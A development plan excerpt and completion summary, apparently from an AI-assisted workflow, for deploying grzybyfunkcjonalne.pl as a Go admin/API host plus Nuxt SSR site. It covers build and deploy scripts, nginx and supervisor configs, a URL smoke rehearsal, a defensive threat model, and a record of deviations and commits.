<action>scripts/build.sh (summercms.io build.sh conventions; one mode, against the framework working tree because the host requires summercms v0.0.0 through a local replace): tool loop go, pnpm, node, git, rsync; SUMMERCMS_FRAMEWORK (default ../summercms.go); die when vue-grzybyfunkcjonalne-app/package.json or any plugin go.mod is missing (run git submodule update --init); install the summer CLI to a temp GOBIN and run summer build from the host root, then die when git status shows main.go or plugins.gen.go changed ("commit them first"); go vet ./...; CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -o bin/grzybyfunkcjonalne .; pnpm -C vue-grzybyfunkcjonalne-app install --frozen-lockfile and build; rsync -a --delete vue-grzybyfunkcjonalne-app/.output/ build/nuxt/.output/; print "build: bin/grzybyfunkcjonalne and build/nuxt/.output ready". .gitignore adds /build/.
|
||||
|
||||
deploy/nginx/grzybyfunkcjonalne-staging.conf (comment header: staging vhost on the PHP site's server next to the live Winter vhost, which stays untouched, D-10; server name and paths are confirmed at 16-04): HTTP server with the ACME webroot location and a 301 to HTTPS; HTTPS server for staging.grzybyfunkcjonalne.pl with the four certbot lines, gzip as summercms.io. Locations: location ^~ /backend returns 404 (D-09); location ^~ /gfadmin and location ^~ /_journal/ proxy to http://127.0.0.1:8096 with proxy_http_version 1.1, Host $host, X-Real-IP, X-Forwarded-For $proxy_add_x_forwarded_for, X-Forwarded-Proto $scheme, client_max_body_size 64m (config/http.yaml upload_bytes); a regex location ^/storage/app/(uploads/public|media)/.+\.(?:jpe?g|png|gif|webp)$ with root /srv/grzybyfunkcjonalne/go, add_header X-Content-Type-Options nosniff always, expires 30d (Pitfall 7, RESEARCH static.go warning); a plain prefix location /storage/ returning 404 — it must not use the ^~ modifier, because ^~ would stop nginx before the regex image location is tried; location / with limit_except GET HEAD deny all, proxy to http://127.0.0.1:3016 with the same headers (Pitfall 5: X-Forwarded-For reaches Nuxt, which forwards it to Go).
|
||||
|
||||
deploy/supervisor/grzybyfunkcjonalne-go.conf: [program:grzybyfunkcjonalne-go] command /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne serve --addr 127.0.0.1:8096, directory /srv/grzybyfunkcjonalne/go (config/ and .env are read from it), user grzybyfunkcjonalne, environment SUMMER_ENV="production", autostart, autorestart, startsecs 3, stopsignal TERM, stopwaitsecs 15, log settings as summercms.io. deploy/supervisor/grzybyfunkcjonalne-nuxt.conf: [program:grzybyfunkcjonalne-nuxt] command /usr/bin/node --env-file=/srv/grzybyfunkcjonalne/nuxt/.env /srv/grzybyfunkcjonalne/nuxt/.output/server/index.mjs, directory /srv/grzybyfunkcjonalne/nuxt, same user and restart/log settings, environment NODE_ENV="production". deploy/env.example: SUMMER_DATABASE__DSN as postgres://grzybyfunkcjonalne:<password>@127.0.0.1:5432/grzybyfunkcjonalne?sslmode=disable, the three secrets SUMMER_APP__KEY, SUMMER_ADMIN__JWT__SECRET and SUMMER_GOLEM15__USER__JWT__SECRET with empty values and their generation hints (summercms.io wording), plus SUMMER_URL=https://staging.grzybyfunkcjonalne.pl (Pitfall 6: RSS links and Go origin must be https behind nginx); header naming the server path, owner and mode 0640. deploy/nuxt.env.example: NITRO_HOST=127.0.0.1, NITRO_PORT=3016, NUXT_JOURNAL_API_BASE=http://127.0.0.1:8096/_journal/api/v1, NUXT_SITE_URL=https://staging.grzybyfunkcjonalne.pl, NUXT_SITE_INDEXABLE=false (staging is never indexed; production removes the line), NUXT_PUBLIC_GA_ID= (empty on staging; production sets G-MLSV7WJ6W4, D-23).
|
||||
|
||||
scripts/check-deploy.sh (adapt summercms.io): nginx -t in a temp prefix with the certbot paths swapped for a throwaway certificate, listen ports moved to loopback 18480/18443 and the root path pointed at a temp dir; then python3 configparser checks both supervisor programs for command, directory, user, autostart, autorestart, stopsignal, that the Go command contains serve --addr 127.0.0.1:8096 and the Nuxt command contains --env-file= and .output/server/index.mjs; then greps the nginx file for X-Content-Type-Options nosniff, location ^~ /backend, location ^~ /gfadmin, location ^~ /_journal/ and limit_except GET HEAD, and dies if it finds location ^~ /storage/; prints "check-deploy: ok".
|
||||
|
||||
scripts/urls.txt (grammar [remote] STATUS PATH [contains=TEXT] [notcontains=TEXT] [type=PREFIX]; lines marked remote are checked only with --url because no nginx runs locally): fetch https://grzybyfunkcjonalne.pl/sitemap.xml now and write 200 PATH for every loc (71 at research time: /, /blog, seven categories, 62 posts; RESEARCH says re-pull before freezing). Then add: 200 /blog?page=2 contains=?page=2 (canonical keeps the query, A7); 200 /blog?page=6; 404 /blog?page=7; 404 /blog?page=abc; 200 /cordyceps?page=2; 200 /reishi?page=2; 404 /chaga?page=2 (pages exist only where a category has more than 10 published posts in the export: cordyceps 14, reishi 13); 200 /amanita-muscaria (D-24); 200 /kontakt contains=mailto:kontakt@grzybyfunkcjonalne.pl; 200 /trwaja-prace contains=Niebawem; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml type=application/xml; 200 /robots.txt contains=Disallow:; 404 /404; 404 /error; 404 /nieistnieje; 404 /rss; 404 /feed; 404 /blog/badania-nad-cordycepsem (base slug); 404 /en/blog (D-16); 200 /autor/admin; 404 /autor/nobody; 404 /backend; 200 /_journal/api/v1/posts type=application/json; remote 200 /storage/app/media/las.webp type=image/; remote 404 /storage/app/uploads/public/x.php; remote 404 /storage/config.yaml.
|
||||
|
||||
scripts/smoke.sh full mode (default, no flag): requires the build.sh outputs; does the --go-only setup with --author-login and --author-slug admin (before invoking migrate.sh the script runs bin migrate, which is idempotent, and then creates that admin with the cabana command admin:create --email admin@example.test --login admin --superuser, piping a random password from /dev/urandom on stdin, never printed or passed as a flag; migrate.sh's own migrate step is then a no-op and its fresh-database check still passes because no post exists yet; migrate.sh gains no admin creation of its own and the README runbook lists the same order: migrate, admin:create, migrate.sh), then starts Nuxt from build/nuxt/.output/server/index.mjs on SMOKE_NUXT_PORT (default 13016) with NUXT_JOURNAL_API_BASE pointing at the rehearsal Go server and NUXT_SITE_INDEXABLE=false; checks every non-remote urls.txt line, sending paths that start with /gfadmin, /_journal or /backend to Go and everything else to Nuxt, with X-Forwarded-For: 203.0.113.7; prints "smoke: ok (N urls)". --url BASE checks every line (remote included) against BASE only and starts nothing. Any mismatch prints "smoke: FAIL <line>: got <status/type>" and exits 1.
|
||||
|
||||
README.md (host; it may name the site): what the app is (headless Go host for the Nuxt SSR site, two processes), layout table (summercms.io README style: vue-grzybyfunkcjonalne-app, plugins/golem15/{user,translate,journal}, plugins/grzyby, config, scripts, deploy), build and checks commands, the migration runbook (D-25 order, fresh database only, Pitfall 3 recovery: drop, migrate, pl default, import again), the PHP export steps (scripts/php-export/README.md), the admin at /gfadmin, the Pitfall 2 warning, ports and env files, and a pointer to DEPLOY.md (written in 16-04).
|
||||
|
||||
Commits: deploy and scripts (feat: staging deploy files and full URL rehearsal), README (docs: host README).</action>
|
||||
<verify>
|
||||
<automated>bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh && bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh && bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh</automated>
|
||||
<fails_when>Non-zero exit; output contains "check-deploy:" followed by an error, "build:" followed by an error, or "smoke: FAIL"; the lines "check-deploy: ok" or "smoke: ok (" are absent.</fails_when>
|
||||
<automated>! grep -nE '^(SUMMER_APP__KEY|SUMMER_ADMIN__JWT__SECRET|SUMMER_GOLEM15__USER__JWT__SECRET)=.' ../sm-grzybyfunkcjonalne-app/deploy/env.example && grep -qE '^SUMMER_DATABASE__DSN=.*<password>' ../sm-grzybyfunkcjonalne-app/deploy/env.example</automated>
|
||||
<fails_when>Non-zero exit: a secret line in the template has a value, or the DSN line lacks the <password> marker (a real credential was written).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- check-deploy.sh prints "check-deploy: ok" (nginx -t passes; both supervisor programs parse with the required keys).
|
||||
- The local rehearsal passes every non-remote urls.txt line, including all live sitemap URLs, /blog?page=2 keeping ?page=2 in the canonical, /amanita-muscaria 200, /autor/admin 200, /backend 404, /en/blog 404 and /rss.xml with an RSS content type.
|
||||
- urls.txt contains one 200 line for every loc in the live sitemap fetched during this task (the count is recorded in the SUMMARY).
|
||||
- The nginx file has no `location ^~ /storage/` and has the image regex location with X-Content-Type-Options nosniff.
|
||||
- deploy/nuxt.env.example sets NUXT_SITE_INDEXABLE=false and an empty NUXT_PUBLIC_GA_ID.
|
||||
- README.md describes the runbook order and the Pitfall 2 warning.
|
||||
</acceptance_criteria>
|
||||
<done>The host builds both processes, its deploy files pass nginx -t and supervisor parsing, and a local rehearsal answers every old URL with the expected status.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Internet → nginx → Go admin | /gfadmin and the Journal write routes are reachable on the public domain |
|
||||
| Internet → nginx → disk | Uploaded and media files are served from the Go host's storage directory |
|
||||
| PHP database export → Go commands | JSONL maps produced on the PHP server drive file copies and row writes |
|
||||
| Operator → server secrets | .env files hold the database DSN and JWT secrets |
|
||||
| Rehearsal scripts → Postgres | smoke.sh creates and drops databases with an admin DSN |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16-10 | Elevation of Privilege | /gfadmin admin exposure | high | mitigate | cabana backend auth unchanged; backend.cookie_secure stays true (refused false in production); /backend has no Go route (boot test) and nginx returns 404 for it |
|
||||
| T-16-11 | Tampering | same-origin XSS through files under /storage | high | mitigate | nginx serves only jpe?g/png/gif/webp under /storage/app/{uploads/public,media} with X-Content-Type-Options nosniff; every other /storage/ path is 404 (plain prefix, not ^~); no Go static handler is mounted; check-deploy.sh asserts all three |
|
||||
| T-16-12 | Tampering | grzyby:import-featured-images file paths | medium | mitigate | validDiskName rejects separators and dot-dot; the source path must stay inside --source (filepath.Rel); content type allowlist image/jpeg, png, gif, webp; blobs are written only under attach.BlobKey |
|
||||
| T-16-13 | Information Disclosure | deploy/env.example, nuxt.env.example | medium | mitigate | Templates carry empty values only (negative grep); .env stays on the server, .gitignore keeps it out; smoke.sh generates throwaway secrets |
|
||||
| T-16-14 | Tampering | journal:import-posts re-runs after the pl switch | medium | mitigate | migrate.sh refuses a database that already holds posts and asserts pl is the only default before importing (Pitfalls 1 and 3) |
|
||||
| T-16-15 | Spoofing | X-Forwarded-For through nginx and Nuxt | medium | mitigate | nginx appends $proxy_add_x_forwarded_for; Go trusts only 127.0.0.1/32 and reads the rightmost untrusted hop, so a client-supplied XFF cannot pick another bucket |
|
||||
| T-16-16 | Denial of Service | Nuxt location | low | mitigate | limit_except GET HEAD on location /; Go keeps its 120/min journal buckets; Nuxt swr caching (16-02) |
|
||||
| T-16-17 | Tampering | smoke.sh with SMOKE_ADMIN_DSN | medium | mitigate | The script creates grzyby_smoke_<random> and drops only that name on exit; it never runs migrate or DROP against any other database (T-02-05 precedent) |
|
||||
| T-16-SC | Tampering | Go module additions | high | mitigate | The plugin uses only modules already in the host graph and named in STACK.md (summercms framework, sm-journal-plugin, gorm, gocloud.dev); no new Go or npm package |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- `bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` prints "check-deploy: ok".
|
||||
- `bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh && bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh` prints "smoke: ok (N urls)".
|
||||
- `go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1` stays green.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Admin at /gfadmin, /backend gone (D-09).
|
||||
- Featured images and category content import idempotently from PHP-side maps (D-21, D-22).
|
||||
- One ordered runbook: migrate, pl default, single import, categories, media, images, author (D-17, D-25).
|
||||
- Staging deploy files for two processes pass their checks (D-07, D-10), and a local rehearsal answers every live URL (D-15).
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md` when done, recording the live sitemap URL count frozen into urls.txt.
|
||||
</output>
|
||||
@@ -0,0 +1,373 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 03
|
||||
subsystem: infra (Go host, migration runbook, staging deploy)
|
||||
tags: [summercms, go, journal, migration, postgres, nginx, supervisor, smoke, nuxt-ssr]
|
||||
status: complete
|
||||
|
||||
requires:
|
||||
- phase: 16-02
|
||||
provides: "vue-grzybyfunkcjonalne-app (submodule b50c808) answering the PHP URL map with SSR"
|
||||
- phase: quick-261009-i6e
|
||||
provides: "D-20 anonymous author endpoints (sm-journal-plugin 908ade9, 57a347c)"
|
||||
- phase: quick-261009-mgk
|
||||
provides: "D-21 category content column and API field (sm-journal-plugin 740dcd0, f22d089, 3d533d4)"
|
||||
provides:
|
||||
- "admin at /gfadmin (config/backend.yaml uri: /gfadmin); no /backend route"
|
||||
- "app plugin golem15.grzyby (plugins/grzyby, commands only): grzyby:import-posts, grzyby:import-featured-images, grzyby:import-categories"
|
||||
- "scripts/migrate.sh: the ordered D-25/D-17 runbook (migrate, fresh-db guard, pl default, import once, categories, media, featured images, author, gap report)"
|
||||
- "scripts/php-export/{featured-images.sql,categories.sql,README.md}: JSON Lines exports from the PHP database"
|
||||
- "deploy/: staging nginx vhost, supervisor programs grzybyfunkcjonalne-go (8096) and grzybyfunkcjonalne-nuxt (3016), env templates"
|
||||
- "scripts/build.sh, scripts/check-deploy.sh, scripts/smoke.sh (full, --go-only, --url) and scripts/urls.txt (71 live sitemap URLs + 27 more)"
|
||||
- "host README; todo journal-imported-html-admin-resave"
|
||||
affects: [16-04, 16-05]
|
||||
|
||||
actuals:
|
||||
tokens: 25500 # chars/4 over the realized diff (host 33bc5e0..8f7f2de without go.sum and the PNG, plus the todo file)
|
||||
tasks: 3
|
||||
commits: 9 # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count 33bc5e0..HEAD; plus 1 docs commit in summercms.go (6ff7d5d)
|
||||
commits: 9
|
||||
plan_head_before: 33bc5e04bfc2ad2c79c33b01c962d49ed21dd7cc # sm-grzybyfunkcjonalne-app
|
||||
plan_head_after: 8f7f2de7650d9946970bc50e84cc9cc632057059 # sm-grzybyfunkcjonalne-app, pushed to origin/master
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "App-local plugin as an in-repo module (plugins/grzyby) registered by summer plugin:add; commands only, no routes"
|
||||
- "Plugin commands open and publish the database themselves (lookupDB via lagoon.OpenFromApp + lagoon.Publish)"
|
||||
- "JSON Lines maps produced by read-only SQL on the PHP database drive idempotent Go import commands"
|
||||
- "Runbook script with a fresh-database guard and an asserted locale switch before a one-shot import"
|
||||
- "URL rehearsal from a line grammar shared with the app smoke ([remote] STATUS PATH [contains|notcontains|type])"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_posts.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/build.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- .planning/todos/pending/journal-imported-html-admin-resave.md
|
||||
modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/config/backend.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/boot_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/summer.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/go.work
|
||||
- ../sm-grzybyfunkcjonalne-app/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins.gen.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/.gitignore
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
|
||||
|
||||
key-decisions:
|
||||
- "Plugin commands in a summer-build host open and publish the database themselves, because the generated main.go publishes none for them; the journal import runs as grzyby:import-posts (the Journal command's own Run after the DB is opened)"
|
||||
- "migrate.sh imports from a copy of the export in which only empty \"translations\": [] arrays become {}; the export directory stays untouched and the importer fix is deferred to sm-journal-plugin"
|
||||
- "The URL rehearsal gives each URL its own X-Forwarded-For visitor (203.0.113.N): one address for ~90 SSR pages exceeds Go's 120/min per-visitor journal limit, and a broken XFF chain would still surface as 429s"
|
||||
- "The nginx image location declares its own types map (jpeg/png/gif/webp, octet-stream default) so images keep an image type under nosniff whatever the server's mime.types; the regex is case-insensitive (~*) for upper-case extensions"
|
||||
- "The boot test loads a temp copy of config/ so a developer's gitignored .env cannot override backend.uri"
|
||||
|
||||
patterns-established:
|
||||
- "scripts/smoke.sh --url BASE as the deployed-site check over urls.txt (16-04 reuses it on staging)"
|
||||
|
||||
requirements-completed: [SC-1, SC-3]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Admin at /gfadmin, no /backend route; the host journal gitlink points at 3d533d4 with the D-20 and D-21 additions (D-09)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "go -C ../sm-grzybyfunkcjonalne-app test ./... -run '^(TestBootUserTranslateJournal|TestCORS)$' (assertAdminMount, assertGrzybyCommands)"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "scripts/smoke.sh --go-only: GET /gfadmin non-404, GET /backend 404"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "grzyby:import-featured-images copies the original under attach.BlobKey and attaches it to the post; the post answers on its pl slug with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png; a second run creates nothing (D-22)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "scripts/smoke.sh --go-only -> smoke: ok (go) (featured_image_url, file on disk equals source, base slug 404, 'Results: 0 created, 1 skipped, 0 failed')"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "grzyby:import-categories fills name, description and content preferring pl; cordyceps carries the content marker, amanita-muscaria is listed with post_count 0; a rerun reports 0 updated, 1 unchanged (D-21, D-24)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "scripts/smoke.sh --go-only (categories?include_empty=1 checks and the second run)"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "scripts/php-export/categories.sql and featured-images.sql run on a throwaway MariaDB 12.3 fixture; output parsed by the Go command (--dry-run)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "scripts/migrate.sh runs migrate, the fresh-database guard, the asserted pl default, the one-shot import, categories, media, featured images, author and the gap report in that order (D-25, D-17, D-15)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "scripts/smoke.sh (full) runs migrate, admin:create and migrate.sh --author-login admin --author-slug admin; 63 published posts served (meta.total)"
|
||||
status: pass
|
||||
- kind: manual_procedural
|
||||
ref: "migrate.sh --dry-run and the unknown-author path run by hand on a scratch database (dies with 'author login ... does not exist')"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Staging deploy files: nginx vhost passes nginx -t; both supervisor programs parse with the required keys; /backend 404, image regex with nosniff, plain /storage/ 404, GET/HEAD only to Nuxt (D-07, D-10)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "scripts/check-deploy.sh -> check-deploy: ok"
|
||||
status: pass
|
||||
- kind: manual_procedural
|
||||
ref: "the vhost run under a non-root nginx 1.30.4 on loopback: images 200 image/png with nosniff and HSTS, x.php and config.yaml 404, /backend 404, POST / 403, HTTP 301 to HTTPS"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Local rehearsal answers every non-remote urls.txt line: all 71 live sitemap URLs, /blog?page=2 keeping ?page=2, /amanita-muscaria 200, /autor/admin 200, /backend 404, /en/blog 404, /rss.xml as RSS (D-15, D-18)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "scripts/build.sh && scripts/smoke.sh -> smoke: ok (95 urls)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "The runbook and deploy files work on the real PHP server (table names, morphs, Postgres and Node versions, paths)"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Only the staging deploy in 16-04 can confirm the server-side values the SQL files and deploy files assume"
|
||||
|
||||
duration: 22 min
|
||||
completed: 2026-10-09
|
||||
---
|
||||
|
||||
# Phase 16 Plan 03: Host, migration runbook and staging deploy Summary
|
||||
|
||||
**`sm-grzybyfunkcjonalne-app` is now the deployable host.**
|
||||
|
||||
- The admin is at `/gfadmin`.
|
||||
- An app plugin `golem15.grzyby` imports featured images under their Winter disk names and the category pillar content from JSON Lines maps produced by SQL on the PHP database.
|
||||
- One ordered runbook does the migration: migrate, an asserted pl default, a one-shot journal import, categories, media, featured images, the author and a gap report.
|
||||
- Staging deploy files cover two processes (Go on 8096, Nuxt on 3016 behind one nginx vhost).
|
||||
- A local rehearsal on a throwaway database answers all 95 local URL checks, including every one of the 71 live sitemap URLs.
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 22 min
|
||||
- **Started:** 2026-10-09T16:31:36Z
|
||||
- **Completed:** 2026-10-09T16:54:03Z
|
||||
- **Tasks:** 3 (Task 1 a tracer, auto-verified end to end before expansion)
|
||||
- **Files:** 32 changed in the host (2,701 insertions), plus 1 todo and `deferred-items.md` in summercms.go
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-09.** `config/backend.yaml` sets `uri: /gfadmin`. The boot test asserts that some route starts with `/gfadmin/` and that none is under `/backend`. The nginx vhost answers 404 for `/backend`.
|
||||
- **Journal gitlink.** It now points at `3d533d4`, which carries the D-20 author endpoints and the D-21 category content.
|
||||
- The nested clone had working-tree drift. I saved it as a patch and checked it against the upstream commits; all of it was already contained in `be4f33a..3d533d4`.
|
||||
- I then discarded the drift file by file and checked out `3d533d4`.
|
||||
- **`golem15.grzyby`.** It was scaffolded with `summer make:plugin` and registered with `summer plugin:add`. `summer build` regenerated `plugins.gen.go` (`main.go` was unchanged). I stripped the plugin down to commands only:
|
||||
- `grzyby:import-featured-images` (D-22, T-16-12): validates the disk name, applies the content-type allowlist and sniffs the bytes, keeps the source path inside `--source` and checks the size. It falls back from the base slug to the pl slug through the export, writes the blob under `attach.BlobKey` and inserts the `system_files` row. It is idempotent.
|
||||
- `grzyby:import-categories` (D-21): prefers pl values and finds the category by pl slug, then base slug. It accepts `translations.pl` as an object, a JSON string (as MariaDB nests it) or null. Equal values count as unchanged.
|
||||
- `grzyby:import-posts`: see deviation 1.
|
||||
- **The runbook (`scripts/migrate.sh`).** Steps run in the D-25 order.
|
||||
- It refuses a database that already holds posts (Pitfall 3).
|
||||
- It asserts that `pl` is the only enabled default before importing (Pitfall 1).
|
||||
- The author step sets `golem15_bloghub_author_slug` and assigns every post without an author.
|
||||
- The gap report flags and does not patch (D-17).
|
||||
- `--dry-run` runs only the steps that write nothing.
|
||||
- **PHP exports.**
|
||||
- `featured-images.sql` and `categories.sql` emit one `JSON_OBJECT` per row. I ran both against a throwaway MariaDB 12.3 with a fixture schema, and the Go command parsed the output.
|
||||
- The README names the server checks: the post and category morphs and tables, and the `winter_`/`rainlab_`/`golem15_` translate table prefixes. It also gives the `sed` rewrites for the Blog plugin and the copy steps.
|
||||
- **Deploy.**
|
||||
- nginx vhost with:
|
||||
- `/gfadmin` and `/_journal/` proxied to Go (64 MiB body limit);
|
||||
- the image regex location with nosniff, an explicit types map and 30-day expiry;
|
||||
- a plain `/storage/` prefix answering 404;
|
||||
- `limit_except GET HEAD` for Nuxt;
|
||||
- `X-Forwarded-For` on every proxy.
|
||||
- Supervisor programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt` (Node `--env-file`).
|
||||
- `env.example` (adds `SUMMER_URL`) and `nuxt.env.example` (`NUXT_SITE_INDEXABLE=false`, empty GA).
|
||||
- **Build and checks.**
|
||||
- `scripts/build.sh` builds `bin/grzybyfunkcjonalne` (linux/amd64) and `build/nuxt/.output`, and refuses generated-source drift.
|
||||
- `scripts/check-deploy.sh` runs nginx -t in a temp prefix, checks both supervisor programs with configparser, and greps the vhost for its security locations.
|
||||
- **`scripts/urls.txt`.**
|
||||
- It holds the **71 live sitemap URLs** fetched 2026-10-09 (`/`, `/blog`, 7 categories, 62 posts), the same set as at research time.
|
||||
- It adds 27 more lines: pagination, static pages, 404 cases, Go paths and 3 remote nginx lines, for 98 checks in total.
|
||||
- `scripts/smoke.sh` checks all 95 non-remote lines locally and every line with `--url`.
|
||||
|
||||
## Task Commits
|
||||
|
||||
All code commits are in `../sm-grzybyfunkcjonalne-app` (`master`, pushed `33bc5e0..8f7f2de` after sm-journal-plugin reached origin):
|
||||
|
||||
0. `90f2dbd` chore: point journal gitlink at author endpoint and category content
|
||||
1. **Task 1 (tracer):**
|
||||
- `5ccbc62` feat: mount the admin at /gfadmin
|
||||
- `893cf42` feat: app plugin golem15.grzyby with featured-image import
|
||||
- `a3266c3` fix: open the database for grzyby commands and add grzyby:import-posts
|
||||
- `3f17f1c` feat: migration runbook and Go rehearsal
|
||||
2. **Task 2:**
|
||||
- `30233d5` feat: grzyby:import-categories for category content
|
||||
- `81ffce3` feat: runbook categories, media and author steps; PHP export queries
|
||||
- `6ff7d5d` (summercms.go) docs: todo for Journal HTML content re-save
|
||||
3. **Task 3:**
|
||||
- `07390b2` feat: staging deploy files and full URL rehearsal
|
||||
- `8f7f2de` docs: host README
|
||||
|
||||
**Tracer gate.** Interactive mode with `end-of-phase` and an automated-only `<verify>`. The verify was re-run and passed (vet, boot test, plugin vet, build, `smoke: ok (go)`, no `uri: /backend`) before expansion.
|
||||
|
||||
**Plan metadata:** the docs commit in summercms.go (this SUMMARY, `deferred-items.md`, and my STATE/ROADMAP lines only).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
See `key-files` in the frontmatter. Also:
|
||||
|
||||
- `plugins/grzyby/go.mod`/`go.sum` (local replaces for the journal, translate and user modules).
|
||||
- The host `go.mod` and `go.work` (written by `summer plugin:add`).
|
||||
- The testdata 1×1 PNG at `plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png` (69 bytes).
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] Plugin commands get no database in a `summer build` host**
|
||||
- **Found during:** Task 1 (first rehearsal run: `journal: database is not configured`).
|
||||
- **Issue:** The generated `main.go` publishes no `*gorm.DB` for plugin commands. Only lagoon, cabana and `serve` open one. So `journal:import-posts` cannot run from the host CLI at all.
|
||||
- **Fix:**
|
||||
- `lookupDB` opens and publishes `database.dsn` through `lagoon.OpenFromApp` and `lagoon.Publish`, which also runs the `OnDatabase` hooks.
|
||||
- A thin `grzyby:import-posts` runs the Journal command's own `Run`, with the same flags, after that.
|
||||
- `migrate.sh` calls it, and its step names say `journal:import-posts`.
|
||||
- The framework fix is in `deferred-items.md`. This is outside this plan's files and the concurrency boundary (`modules/`).
|
||||
- **Files modified:** `plugins/grzyby/console/{helpers.go,import_posts.go}`, `plugin.go`, `boot_test.go`, `scripts/migrate.sh`.
|
||||
- **Verification:** The rehearsal imports 105 posts and serves 63 published.
|
||||
- **Commit:** `a3266c3`.
|
||||
|
||||
**2. [Rule 3 - Blocking] The journal importer rejects `"translations": []`**
|
||||
- **Found during:** Task 1 (61 of 63 published posts served).
|
||||
- **Issue:** The PHP exporter writes empty translations as `[]`. Five files failed as "Invalid JSON", including the live post `ekstrakt-z-turkey-tail`.
|
||||
- **Fix:** `migrate.sh` imports from a temp copy in which only that empty array becomes `{}`, and prints the count. The importer fix is deferred to sm-journal-plugin.
|
||||
- **Commit:** `3f17f1c`.
|
||||
|
||||
